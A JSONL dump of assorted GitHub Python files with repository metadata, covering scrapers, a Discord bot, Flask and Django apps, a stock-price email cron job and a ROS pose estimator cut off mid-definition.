playlist.\")\n","repo_name":"ZbigniewKorycki/Billboard_To_Spotify_Playlist_Scraper","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18538563537","text":"from tracker.infrastructure.operations import send_email, fetch_stock_price\nfrom tracker.infrastructure.repositories.stock_manager import StockManager\nimport datetime\n\ndef mailer():\n print(\"mailer\")\n now = datetime.datetime.now()\n db = StockManager()\n data = db.all()\n for dt in data:\n start_time = datetime.datetime.fromisoformat(\n dt.get(\"created_at_dt\", \"\")\n )\n check_time = datetime.datetime.fromisoformat(\n dt.get(\"last_check_at_dt\", \"\")\n )\n notification_time = check_time + datetime.timedelta(\n minutes=int(dt.get(\"timmer\", 0))\n )\n notification_expire_time = start_time + datetime.timedelta(\n minutes=int(dt.get(\"track_time\", 0))\n )\n\n stock_name = dt.get(\"name\", \"\")\n user = dt.get(\"user\", \"\")\n\n old_price = float(dt.get(\"price\", 0))\n\n if notification_time < now:\n if notification_expire_time < now:\n db.remove(dt.get(\"id\"))\n else:\n print(f\"Enviando email para {user} sobre {stock_name}\")\n new_price = float(fetch_stock_price(stock_name).get(\"price\", 0))\n\n if new_price > float(dt.get(\"max_val\", old_price)):\n send_email(\n to=user,\n subject=f\"Aleração no preço da ação {stock_name}\", \n body=f'O preço da ação {stock_name} subiu para {new_price}, atingindo o valor máximo de US${dt.get(\"max_val\")}.'\n )\n elif new_price < float(dt.get(\"min_val\", old_price)):\n send_email(\n to=user,\n subject=f\"Aleração no preço da ação {stock_name}\", \n body=f'O preço da ação {stock_name} desceu para {new_price}, atingindo o valor mínimo de US${dt.get(\"min_val\")}.'\n )\n db.update(dt, {\n \"last_check_at_dt\": datetime.datetime.now().isoformat(),\n \"price\": new_price\n })\n \n\n","repo_name":"lucashardman/stock-tracker","sub_path":"tracker/cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74389779310","text":"class Library:\n def __init__(self, list, name):\n self.bookslist = list\n self.name = name\n self.lendDict = {}\n\n def displayBooks(self):\n print(f\"we have following books in our library:{self.name}\")\n for book in self.bookslist:\n print(book)\n\n def lendBook(self, user, book):\n if book not in self.lendDict.keys():\n self.lendDict.update({book: user})\n print(\"lender-book database has been updated.you can take the book.\")\n else:\n print(f\"book is already being used by {self.lendDict[book]}\")\n\n def addBook(self, book):\n self.bookslist.append(book)\n print(\"book has been updated to the booklist.\")\n\n def returnBook(self, book):\n self.lendDict.pop(book)\n\nif __name__ == \"__main__\":\n v1 = Library(['Python', 'C++', 'Java', 'DSA', 'HTMl'],'Code')\n\n while (True):\n print(\"WELCOME TO THE LIBRARY.ENTER YOUR CHOICE:\")\n print(\"1. Display books\")\n print(\"2. Lend a book\")\n print(\"3. Add a book\")\n print(\"4. Return a book\")\n print(\"5. Exit \")\n\n user_choice = int(input(\"enter your choice:\"))\n if user_choice not in [1, 2, 3, 4, 5]:\n print(\"Enter a valid option\")\n continue\n\n if user_choice == 1:\n v1.displayBooks()\n\n elif user_choice == 2:\n book = input(\"Enter the name of the book you want:\")\n user = input(\"Enter your name:\")\n v1.lendBook(user, book)\n\n elif user_choice == 3:\n book = input(\"Enter the book you want to add:\")\n v1.addBook(book)\n\n elif user_choice == 4:\n book = input(\"Enter the book you want to return:\")\n v1.returnBook(book)\n\n elif user_choice == 5:\n exit()\n\n else:\n print(\"Not a valid option\")\n\n print(\"Press 'q' to quit and 'c' to continue\")\n user_choice2 = \"\"\n while (user_choice2 != \"c\" and user_choice2 != \"q\"):\n user_choice2 = input()\n if user_choice2 == \"q\":\n exit()\n elif user_choice2 == \"c\":\n continue\n","repo_name":"jayadevvasudevan/basic-python","sub_path":"libraryy.py","file_name":"libraryy.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"22390713545","text":"import json\nimport settings\nfrom helpers import asset_url, media_url, skin_path\nfrom typing import Any, Awaitable, Dict, List, Optional, Union\nfrom tornado.web import RequestHandler\nfrom torndsession.sessionhandler import SessionBaseHandler\n\n\nclass BaseHandler(SessionBaseHandler):\n def initialize(self, **kwargs: Any) -> None:\n middlewares = kwargs[\"middlewares\"] if \"middlewares\" in kwargs else []\n default_middlewares = self.__get_default_middlewares()\n self.middlewares = default_middlewares + middlewares\n super(BaseHandler, self).initialize(**kwargs)\n\n def prepare(self) -> Optional[Awaitable[None]]:\n for middleware in self.middlewares:\n middleware.process_request(self)\n\n return super(BaseHandler, self).prepare()\n\n def on_finish(self) -> None:\n super(BaseHandler, self).on_finish()\n\n for middleware in self.middlewares:\n middleware.process_response(self)\n\n def get_template_namespace(self) -> Dict[str, Any]:\n namespace = super(BaseHandler, self).get_template_namespace()\n namespace.update({\n \"asset_url\": asset_url,\n \"media_url\": media_url,\n \"skin_path\": skin_path\n })\n\n return namespace\n\n def __get_default_middlewares(self):\n default_middlewares = settings.middlewares\n\n return default_middlewares\n\n # self.locale.translate alias\n def _(\n self,\n message: str,\n plural_message: str = None,\n count: int = None\n ):\n return self.locale.translate(message, plural_message, count)\n\n def json_response(\n self,\n status: int,\n message: str,\n data: Optional[Union[Dict, List, Any]] = None\n ):\n if not len(data):\n data = None\n result = {\n \"code\": status,\n \"msg\": message,\n \"data\": data\n }\n result = json.dumps(result)\n\n self.set_header(\"Content-Type\", \"application/json\")\n self.write(result)\n\n","repo_name":"zwyao314/lbb-tornado","sub_path":"app/http/controllers/base_handler.py","file_name":"base_handler.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"42295271798","text":"import cv2\n\ncap = cv2.VideoCapture('cam_video.mp4')\n\nwhile True:\n ret, frame = cap.read()\n if not ret:\n break\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (21, 21), 0)\n\n ret, thresh = cv2.threshold(gray, 105, 255, cv2.THRESH_BINARY_INV)\n\n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n if len(contours) > 0:\n c = max(contours, key = cv2.contourArea)\n (x,y), radius = cv2.minEnclosingCircle(c)\n center = (int(x), int(y))\n radius = int(radius)\n cv2.circle(frame, center, radius, (0, 255, 0), 2)\n x_rounded = round(x, 0)\n y_rounded = round(y, 0)\n text = 'X = ' + str(x_rounded) + '; Y = '+ str(y_rounded)\n print(text)\n cv2.line(frame, (0,21), (100,21), (255,0,0), 2)\n cv2.line(frame, (100,21), (220,21), (0,0,255), 2)\n cv2.putText(frame, text, (0,20), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0,255,0))\n\n cv2.imshow('frame', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\ncap.release()\ncv2.destroyAllWindows()","repo_name":"vuitinhvl7x/DesignFuture_Lab2","sub_path":"Pr2_var9.py","file_name":"Pr2_var9.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33040579658","text":"from datetime import timedelta, datetime\nfrom nextcord import Interaction, SlashOption, Colour, Embed\nimport nextcord\nfrom nextcord.ext import commands, tasks\nimport requests\n\nfrom marin import GUILDS\n\n\nRANDOM_JOKE_URL = 'https://v2.jokeapi.dev/joke/Pun?blacklistFlags=nsfw,religious,racist'\nBOREDAPI_URL = 'http://www.boredapi.com/api'\n\n\nreminds = {}\n\n\nclass Main(commands.Cog):\n def __init__(self, bot):\n self.bot: commands.Bot = bot\n self.remind_loop.start()\n\n @nextcord.slash_command('help', 'List all commands', GUILDS)\n async def cmd_help(self, inter: Interaction):\n await inter.response.defer()\n em = nextcord.Embed(title=\"Marin's commands\",\n description=\"List of all Marin's commands with description\", colour=Colour.from_rgb(186, 82, 235))\n em.set_thumbnail(url='attachment://happy-2.png')\n fields = {}\n for command in self.bot.get_all_application_commands():\n name = '/' + command.name\n for opt in command.options.keys():\n name += f' <{command.options[opt].name}>'\n fields[name] = command.description\n\n for field in fields.keys():\n em.add_field(name=field, value=fields[field], inline=False)\n\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/happy-2.png'))\n\n @nextcord.slash_command('remind', 'Ping you in specific channel after specific amount of time', GUILDS)\n async def cmd_remind(self, inter: Interaction, time: str = SlashOption('remind_in', 'Time in format MM-HH-DD', True), message: str = SlashOption('message', 'I will send this message with ping!', False)):\n await inter.response.defer()\n global reminds\n time = time.split('-')\n\n if not all([len(t) == 2 for t in time]) or len(time) > 3:\n em = nextcord.Embed(\n title=\"Wrong time format\", description=\"Correct time format is MM-HH-DD. If you think something is wrong with me, tell about that to my devs!\", colour=Colour.brand_red())\n em.set_thumbnail(url='attachment://sad-2.gif')\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/sad-2.gif'))\n return\n\n if len(time) == 1:\n td = timedelta(minutes=int(time[0]))\n elif len(time) == 2:\n td = timedelta(minutes=int(time[0]), hours=int(time[1]))\n else:\n td = timedelta(minutes=int(time[0]), hours=int(\n time[1]), days=int(time[2]))\n\n rem_time = (datetime.now() + td).strftime('%d-%H-%M')\n\n reminds[rem_time] = (inter.channel, inter.user, message)\n tm = f\"{td[0]}:{td[1] if len(td) > 1 else '00'}:{td[2] if len(td) > 2 else '00'}\"\n em = Embed(title=\"Got you!\",\n description=f\"Now just wait! I will ping you in this channel in {tm} (MM:HH:DD)\", colour=Colour.purple())\n em.set_thumbnail(url='attachment://happy-4.png')\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/happy-4.png'))\n\n @nextcord.slash_command('joke', 'I will tell you random joke!', GUILDS)\n async def cmd_joke(self, inter: Interaction):\n await inter.response.defer()\n resp = requests.get(RANDOM_JOKE_URL)\n\n if resp.status_code != 200:\n em = Embed(title='Error occurred!',\n description='Im so sorry! Please contact my developers!', colour=Colour.dark_blue())\n em.set_thumbnail(url='attachment://sad.gif')\n em.set_footer(\n text=f'CODE: {resp.status_code} | JSON: {resp.json()}')\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/sad.gif'))\n return\n\n joke = resp.json()\n await inter.edit_original_message(content=f'There you go 💖!\\n{joke[\"setup\"]} ||{joke[\"delivery\"]}||')\n\n @nextcord.slash_command('im_bored', 'I will give you some random stuff to do!', GUILDS)\n async def cmd_bored(self, inter: Interaction):\n await inter.response.defer()\n resp = requests.get(BOREDAPI_URL + '/activity/')\n\n if resp.status_code != 200:\n em = Embed(title='Error occurred!',\n description='Im so sorry! Please contact my developers!', colour=Colour.dark_blue())\n em.set_thumbnail(url='attachment://sad.gif')\n em.set_footer(\n text=f'CODE: {resp.status_code} | JSON: {resp.json()}')\n await inter.edit_original_message(embed=em, file=nextcord.File('./asse ts/sad.gif'))\n return\n\n em = Embed(title='What about this?', description=resp.json()[\n 'activity'], colour=Colour.from_rgb(217, 59, 161))\n em.set_author(name=inter.user.name,\n icon_url=inter.user.avatar.url if inter.user.avatar is not None else None)\n em.set_thumbnail(url='attachment://happy-5.gif')\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/happy-5.gif'))\n\n @nextcord.slash_command('mass_voice', 'Mute/unmute/deafen/undeafen all users in voicechannel', GUILDS)\n async def cmd_mass_voice(self, inter: Interaction, action: str = SlashOption('action', required=True, choices=['mute', 'deafen']), toggle: bool = SlashOption('toggle', required=True)):\n await inter.response.defer()\n\n # checking permissions\n if (action == 'mute' and inter.user.guild_permissions.mute_members is False) or (action == 'deafen' and inter.user.guild_permissions.deafen_members is False):\n em = Embed(title=\"No permissions\",\n description=\"You don't have enough permissions to execute that command!\", colour=Colour.brand_red())\n em.set_thumbnail(url='attachment://sad-3.png')\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/sad-3.gif'))\n return\n\n # checking voice channel\n if inter.user.voice is None:\n em = Embed(title='You are not in VC!',\n description='You need to join some VC to do that!', colour=Colour.brand_red())\n em.set_thumbnail(url='attachment://sad-3.png')\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/sad-3.png'))\n return\n\n em = Embed(\n title='Gotcha!', description=f'I will apply action {action}:{toggle} to all users in VC!', colour=Colour.purple())\n em.set_thumbnail(url='attachment://happy-5.gif')\n em.set_author(name=inter.user.name,\n icon_url=inter.user.avatar.url if inter.user.avatar is not None else None)\n await inter.edit_original_message(embed=em, file=nextcord.File('./assets/emotes/happy-5.gif'))\n\n for user in inter.user.voice.channel.members:\n if action == 'mute':\n await user.edit(mute=toggle)\n else:\n await user.edit(deafen=toggle)\n\n @tasks.loop(minutes=1)\n async def remind_loop(self):\n global reminds\n rms = []\n for rem in reminds.keys():\n if datetime.now().strftime('%d-%H-%M') == rem:\n await reminds[rem][0].send(f'💖 Hey, {reminds[rem][1].mention}{f\", {reminds[rem][2]}\" if reminds[rem][2] != None else \"\"}')\n rms.append(rem)\n [reminds.pop(r) for r in rms]\n\n\ndef setup(bot):\n bot.add_cog(Main(bot))\n","repo_name":"JustLian/MarinBot","sub_path":"marin/cogs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"36689836192","text":"from flask import Flask, render_template, request, redirect\nfrom datetime import datetime\ndate = datetime.now()\napp = Flask(__name__) \n\n@app.route('/') \ndef index():\n return render_template(\"index.html\")\n\n@app.route('/checkout', methods=['POST']) \ndef checkout():\n print(request.form)\n a = request.form['strawberry']\n print(a)\n b = request.form['raspberry']\n c = request.form['apple']\n x = request.form['first_name']\n y= request.form['last_name']\n z= request.form['student_id'] \n return render_template(\"checkout.html\",a=a,b=b,c=c,x=x,y=y,z=z, quantity=int(float(a))+ int(float(b))+ int(float(c)), charge_time=date.strftime(\"%c\") )\n\n@app.route('/fruits') \ndef fruits():\n return render_template(\"fruits.html\")\n\nif __name__==\"__main__\": \n app.run(debug=True) ","repo_name":"Starboy0907/2-flask_fundamentals","sub_path":"14.5 dojo_fruit_master/dojo_fruit_store-master/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9710930418","text":"# -*- coding: utf-8 -*-\nimport jieba\n\nstopwords = {}\n\n\n# 加载停止词\ndef load_stopwords(filename):\n global stopwords\n for line in open(filename, 'r').readlines():\n line = line.rstrip()\n stopwords.setdefault(line, 0)\n stopwords[line] = 1\n\n\n# 使用jieba包做中文分词\ndef split_word(content):\n seg_generator = jieba.cut(content) # 使用结巴分词,也可以不使用\n # 去除停止词\n seg_list = [i for i in seg_generator if i not in stopwords]\n # 去除空格和换行符\n seg_list = [i for i in seg_list if i != u\" \" and i != u\"\\n\"]\n return seg_list\n\n\n# 统计词频\ndef word_count(word_list):\n word_count_dict = {}\n for i in word_list:\n if i in word_count_dict:\n value = word_count_dict[i] + 1\n word_count_dict[i] = value\n else:\n word_count_dict[i] = 1\n return word_count_dict\n\n\n# 输入待分词和统计词频的文本路径\ndef manager_word(file_path):\n file_name = 'resources/stopwords.txt'\n load_stopwords(file_name)\n text = open(file_path, 'r').read()\n word_list = split_word(text)\n count_dict = word_count(word_list)\n # 返回值为词频的字典,键为词,值为该词出现次数\n return count_dict\n\nif __name__ == '__main__':\n manager_word(\"resources/love2.txt\")\n","repo_name":"networkrabbit/use_wordclound","sub_path":"split_word.py","file_name":"split_word.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22305623461","text":"from ast import Try\r\nfrom errno import EEXIST\r\nfrom http.server import executable\r\nfrom lib2to3.pgen2 import driver\r\nfrom tkinter.font import names\r\nfrom turtle import title\r\nfrom unicodedata import name\r\nfrom attr import attrs\r\nfrom numpy import transpose\r\nfrom selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nimport requests as rq\r\nimport pandas as pd\r\nfrom time import sleep\r\nimport re\r\nimport csv\r\nimport pandas as pd \r\n\r\n\r\n\r\n#-----------blank List --------------\r\nrating=[]\r\nreviews=[]\r\ncust_name=[]\r\ndistrict=[]\r\ntitles=[]\r\nlink=[]\r\n\r\n# ======= Gating info from landing page=========\r\nurl=input('Enter URL: ')\r\ndriver=webdriver.Chrome(executable_path=\"C:\\selenium driver\\chromedriver.exe\")\r\ndriver.maximize_window()\r\ndriver.get(url)\r\nr1=rq.get(url)\r\nsoup1=BeautifulSoup(r1.text, 'html.parser')\r\ndriver.execute_script('window.scroll(0,2500)')\r\nsleep(2)\r\nfor t in soup1.findAll('a', attrs={'href': re.compile(\"/product-reviews/\")}):\r\n q=t.get('href')\r\n link.append(q)\r\nprint(link)\r\nfor i in link:\r\n if 'LSTVSLFZT4GJSJWZAZA6TI8AD' in i:\r\n print(i)\r\n aa=i\r\nf_url=('https://www.flipkart.com'+str(i))\r\n\r\n# ========= Itarating through each pages ================\r\ni=1\r\nwhile i<=5:\r\n ss=driver.get(str(f_url)+\"&page=\"+str(i))\r\n qq=driver.current_url\r\n r2=rq.get(qq)\r\n soup=BeautifulSoup(r2.text,'html.parser')\r\n\r\n try:\r\n for re in soup.find_all('div' ,{'class':'_3LWZlK _1BLPMq'}):\r\n aa=re.get_text()\r\n rating.append(aa)\r\n except:\r\n for re in soup.find_all('div' ,{'class':'_3LWZlK _1BLPMq'}):\r\n aa=re.get_text()\r\n rating.append(aa)\r\n\r\n for re in soup.find_all('p' ,{'class':'_2sc7ZR _2V5EHH'}):\r\n bb=re.get_text()\r\n cust_name.append(bb)\r\n\r\n for re in soup.find_all('p' ,{'class':'_2mcZGG'}):\r\n cc=re.get_text()\r\n district.append(cc) \r\n \r\n for re in soup.find_all('p' ,{'class':'_2-N8zT'}):\r\n dd=re.get_text()\r\n titles.append(dd) \r\n\r\n for co in soup.find_all('div' ,{'class':'t-ZTKy'}):\r\n ee=co.get_text()\r\n reviews.append(ee)\r\n \r\n sleep(i)\r\n i+=1 \r\n\r\n df=pd.DataFrame([cust_name,district,rating,titles,reviews]).transpose()\r\n df.to_csv('E:\\Important data\\kkkk_review.csv') \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Satishbind/Web-Scraping-Flipkart","sub_path":"web_scraping.py","file_name":"web_scraping.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29278291768","text":"import pandas as pd\r\nimport pickle\r\nfrom datetime import datetime as dt\r\nimport os\r\n\r\nfrom marilib.tools import units as unit\r\nfrom marilib.aircraft_model.airplane import viewer as show\r\nfrom marilib.aircraft_data.aircraft_description import Aircraft\r\nfrom marilib.processes import assembly as run, initialization as init\r\n\r\ninput_dicts = []\r\nfilename_li = []\r\nfilename = \"\"\r\nfiles = []\r\nsummary_df_all = pd.DataFrame()\r\n\r\n\r\nfor dirPath, dirNames, files in os.walk(\"./_airplane-data\"): #collect all designed airplanes\r\n for filename in files:\r\n if filename[-5:]==\".dict\":\r\n with open(\"./_airplane-data/\"+filename, 'rb') as handle:\r\n aircraft_dict = pickle.loads(handle.read())\r\n input_dicts.append(aircraft_dict) #store the data dictionary of all designed airplanes\r\n filename_li.append(filename) #store the file names of all designed airplanes\r\n\r\nfor x in range(len(input_dicts)): #iterate through all designed airplanes\r\n df_li = []\r\n input_dict = input_dicts[x]\r\n file_name = filename_li[x]\r\n summary_df_eachplane = pd.DataFrame({'file': [file_name]}).transpose()\r\n print(summary_df_eachplane)\r\n for k in input_dict['Aircraft']: #iterate through the entire data dictionary in one airplane\r\n k_dict = input_dict['Aircraft'][k]\r\n kk_dict = dict()\r\n if type(k_dict) == dict:\r\n for key in k_dict: # add key.parameter in the title for each sub-dictionary\r\n kk_dict[k + \".\" + key] = k_dict[key]\r\n dfk = pd.DataFrame.from_dict(kk_dict, orient='index')\r\n elif type(k_dict) == str:\r\n k_dict = k_dict\r\n dfk = pd.DataFrame({k: [k_dict]}).transpose()\r\n print(\"dfk.shape: \", k, \" \", dfk.shape)\r\n df_li.append(dfk)\r\n print(\"len(df_li): \", len(df_li))\r\n for i in range(len(df_li)): #combine all sub-dictionary into one dictionary for one airplane\r\n print(\"i: \", i)\r\n summary_df_eachplane = summary_df_eachplane.append(df_li[i])\r\n print(\"summary_df_eachplane.shape: \", summary_df_eachplane.shape)\r\n summary_df_eachplane = summary_df_eachplane.transpose()\r\n summary_df_all = summary_df_all.append(summary_df_eachplane)\r\n\r\nprint(summary_df_all)\r\n\r\npd.DataFrame.to_csv(summary_df_all,\"./_summary/summary_df_all_\"+dt.now().strftime(\"%Y%m%d%H%M%S\")+\".csv\")\r\n\r\n\r\n\r\n","repo_name":"charcparle/marilib-parametric-study","sub_path":"process_airplanes.py","file_name":"process_airplanes.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3819176906","text":"import csv\n\nwith open('csvfile.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n\n line_count = 0\n for row in csv_reader:\n\n if line_count == 0:\n print(f'Column names are {\", \".join(row)} \\n')\n\n print(row)\n\n line_count += 1\n","repo_name":"26digitalsolutions/python-sandbox","sub_path":"csv-test.py","file_name":"csv-test.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30260878822","text":"\nfrom django.urls import path\nfrom api.views import user_views as views\n\n# \"\" : \"api/users/\"\nurlpatterns = [\n path('',views.users.as_view(), name=\"user_page\"),\n path('user//',views.getUserById, name=\"getUserById\"),\n path('login/', views.MyTokenObtainPairView.as_view(), name='token_obtain_pair'),\n\n path('delete//', views.deleteUser, name='deleteUser'),\n path('update/', views.updateUserProfile, name='updateUser'),\n \n]\n","repo_name":"SALVIN-LOPES/pallindromeGame","sub_path":"pallindrome backend/api/urls/user_urls.py","file_name":"user_urls.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"3006842634","text":"from glob import glob\nautomatic = 1\nprint(\"Checking keywords.\")\nimport aras_check_keywords_automatic\n\nif (len(glob('../temporary/missing/observer/' + '*.fit'))+len(glob('../temporary/missing/site/' + '*.fit'))+len(glob('../temporary/missing/object/' + '*.fit'))+len(glob('../temporary/missing/observer/' + '*.fits'))+len(glob('../temporary/missing/site/' + '*.fits'))+len(glob('../temporary/missing/object/' + '*.fits')))>0:\n print(\"Problems with keywords detected. Input needed.\")\n import aras_add_missing_keywords\n\nif len(glob('../temporary/' + '*.csv'))>0:\n print(\"New keywords detected. Input needed.\")\n import aras_new_keywords\n\nprint(\"Renaming the files.\")\nimport aras_rename\n\nprint(\"Creating figures.\")\nimport aras_create_figures\n\nprint(\"Writing entries to table.\")\nimport aras_update_tables\n\nprint(\"Updating zip archives.\")\nimport aras_update_archives\n\ncomments_anw = 2\nwhile comments_anw == 2:\n #confirmation = input(str(\"Would you like to add comments to newly added spectra? (Y/N) \"))\n confirmation = \"N\"\n if confirmation == \"Y\" or confirmation == \"y\":\n comments_anw=1\n print(\"Do not forget to run aras_update_websites.py after including comments to all_spectra.csv file!\")\n elif confirmation == \"N\" or confirmation == \"n\":\n comments_anw=0\n print(\"Updating websites.\")\n import aras_update_websites\n print(\"All done. You can commit to GitHub now.\")\n else:\n print(\"Answer with Y or N.\")\n\n#Temporary T CrB campaign\n#import Monitoring_TCrB","repo_name":"aras-database/database","sub_path":"scripts/aras_automatic.py","file_name":"aras_automatic.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"41881606284","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport fnmatch\nimport configparser\n\nif '--version' in sys.argv:\n print('2.0.0')\n sys.exit(0)\n\ndef parse_cf(data):\n prog = []\n cfg = configparser.ConfigParser(allow_no_value=True, delimiters=('->',))\n cfg.read_string(data)\n imp = cfg['imports']\n\n for k in imp:\n kk = [x.strip() for x in k.split(',')]\n\n prog.append({\n 'kind': kk[0],\n 'glob': kk[1],\n 'path': imp[k],\n })\n\n return prog\n\ndef all_bins():\n for p in os.environ['PATH'].split(':'):\n if os.path.isdir(p):\n for x in os.listdir(p):\n yield p + '/' + x\n\ndef match(prog, b):\n for p in prog:\n if p['kind'] == 'bin':\n if fnmatch.fnmatch(os.path.basename(b), p['glob']):\n yield p\n\ndef find_bins(prog):\n for b in all_bins():\n for m in match(prog, b):\n yield m, b\n\ndef install(args):\n cf = args[0] + '/conanfile.txt'\n out = args[args.index('--install-folder') + 1]\n prog = parse_cf(open(cf).read())\n\n for m, b in find_bins(prog):\n where = os.path.normpath(os.path.join(out, m['path']))\n\n print(f'conan: symlink {b} into {where}')\n\n try:\n os.makedirs(where)\n except Exception:\n pass\n\n os.symlink(b, os.path.join(where, os.path.basename(b)))\n\nglobals()[sys.argv[1]](sys.argv[2:])\n","repo_name":"stal-ix/ix","sub_path":"pkgs/bld/conan/conan.py","file_name":"conan.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"38"} +{"seq_id":"34963404952","text":"#!/usr/bin/env python3\n\nimport sys\nimport rospy\nimport message_filters\nfrom detector import Detector\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image, PointCloud2\nfrom sensor_msgs import point_cloud2 as pc2\nfrom cv_bridge import CvBridge, CvBridgeError\n\nfrom detect_mechanical_parts.msg import DetectionMsg, DetectionArrayMsg\nfrom geometry_msgs.msg import Pose\nimport matplotlib.pyplot as plt\n\nimport cv2 as cv\nimport numpy as np\nfrom numpy.linalg import inv\n\n#import pcl\nimport open3d as o3d\n\nfrom pyquaternion import Quaternion #[w,x,y,z]\nfrom utils import Utils\nfrom main_registration import start_comparison\nimport pyransac3d as pyrsc\n\n\n\nclass EstimatorNodePC:\n\n def __init__(self):\n rospy.init_node('detector_mechanical_parts', anonymous=True)\n self.node_name = rospy.get_name()\n\n bbox_topic = rospy.get_param(self.node_name + '/bbox_topic')\n bboxes_topic = rospy.get_param(self.node_name + '/detections_image_topic')\n grasp_pose_topic = rospy.get_param(self.node_name + '/grasp_pose_topic')\n depth_source_topic = rospy.get_param(self.node_name + '/depth_source_topic')\n pointcloud_source_topic = rospy.get_param(self.node_name + '/pointcloud_source_topic')\n object_topic = rospy.get_param(self.node_name + '/topic_obj')\n\n self.__bridge = CvBridge()\n self.pcd_data = o3d.geometry.PointCloud()\n self.pcd_single_object = o3d.geometry.PointCloud()\n #self.rif = o3d.geometry.PointCloud()\n\n self.pose_publisher = rospy.Publisher(grasp_pose_topic, Pose, queue_size=1) \n\n pc_sub = message_filters.Subscriber(pointcloud_source_topic, PointCloud2, queue_size=10)\n bbox_sub = message_filters.Subscriber(bbox_topic, DetectionMsg, queue_size=10)\n #bboxes_sub = message_filters.Subscriber(bboxes_topic, DetectionArrayMsg)\n depth_sub = message_filters.Subscriber(depth_source_topic, Image, queue_size=10)\n\n ts = message_filters.ApproximateTimeSynchronizer([pc_sub, bbox_sub, depth_sub], 20, 0.1, allow_headerless=True) \n ts.registerCallback(self.my_callback)\n\n #self.K = np.array([[613.6060180664062, 0.0, 324.6341247558594], \n # [0.0, 613.75537109375, 235.69447326660156], \n # [0.0, 0.0, 1.0]])\n self.K = np.array([[2332.63, 0.0, 1050.33], \n [0.0, 2333.08, 757.04], \n [0.0, 0.0, 1.0]])\n \n rospy.Subscriber(object_topic, String, self.setDetectedObject, queue_size=1, buff_size=2**24) #object to detect\n self.object_to_detect = \"rail\"\n \n def setDetectedObject(self, data):\n self.object_to_detect = data.data\n print(\"Obj to detect:\")\n print(data.data)\n\n \n\n def convert_depth(self, data):\n try:\n depth_image = self.__bridge.imgmsg_to_cv2(data, \"passthrough\")\n except CvBridgeError as e:\n \t print(e)\n\n #Convert the depth image to a Numpy array\n self.depth_array = np.array(depth_image, dtype=np.float32)\n\n def ros_to_open3d(self, data):\n '''\n Converts a ROS PointCloud2 message to a pcl PointXYZRGB\n Args: data (PointCloud2): ROS PointCloud2 message\n Returns: pcl.PointCloud_PointXYZRGB: PCL XYZRGB point cloud\n '''\n points_list = []\n\n for data in pc2.read_points(data, skip_nans=True):\n if(data[2] < 1.400):\n points_list.append([data[0], data[1], data[2]])\n\n mesh_frame = o3d.geometry.TriangleMesh.create_coordinate_frame(size=0.05, origin=[0,0,0])\n self.pcd_data.clear()\n self.pcd_data.points = o3d.utility.Vector3dVector(points_list)\n \n def deproject_pixel_to_point(self, ppixel):\n u = ppixel[1] #x\n v = ppixel[0] #y\n d1 = self.depth_array[v,u] \n x_ = (u - self.K[0,2])/self.K[0,0]\n y_ = (v - self.K[1,2])/self.K[1,1]\n z = (float(np.array(d1))) / 1000\n x = x_ * z\n y = y_ * z\n return np.array([x, y, z])\n\n def find_center(self, detection):\n xr = detection.x + detection.w\n yb = detection.y + detection.h\n a = (detection.x + xr)/2\n b = (detection.y + yb)/2\n center = [a, b]\n return center\n\n def get_eMc(self):\n if(self.object_to_detect == \"rail\"):\n eMc = np.array([[-0.981424, 0.007692, 0.191696, -0.1749721],\n [-0.002088, -0.999565, 0.029420, 0.104115039],\n [0.191839, 0.028473, 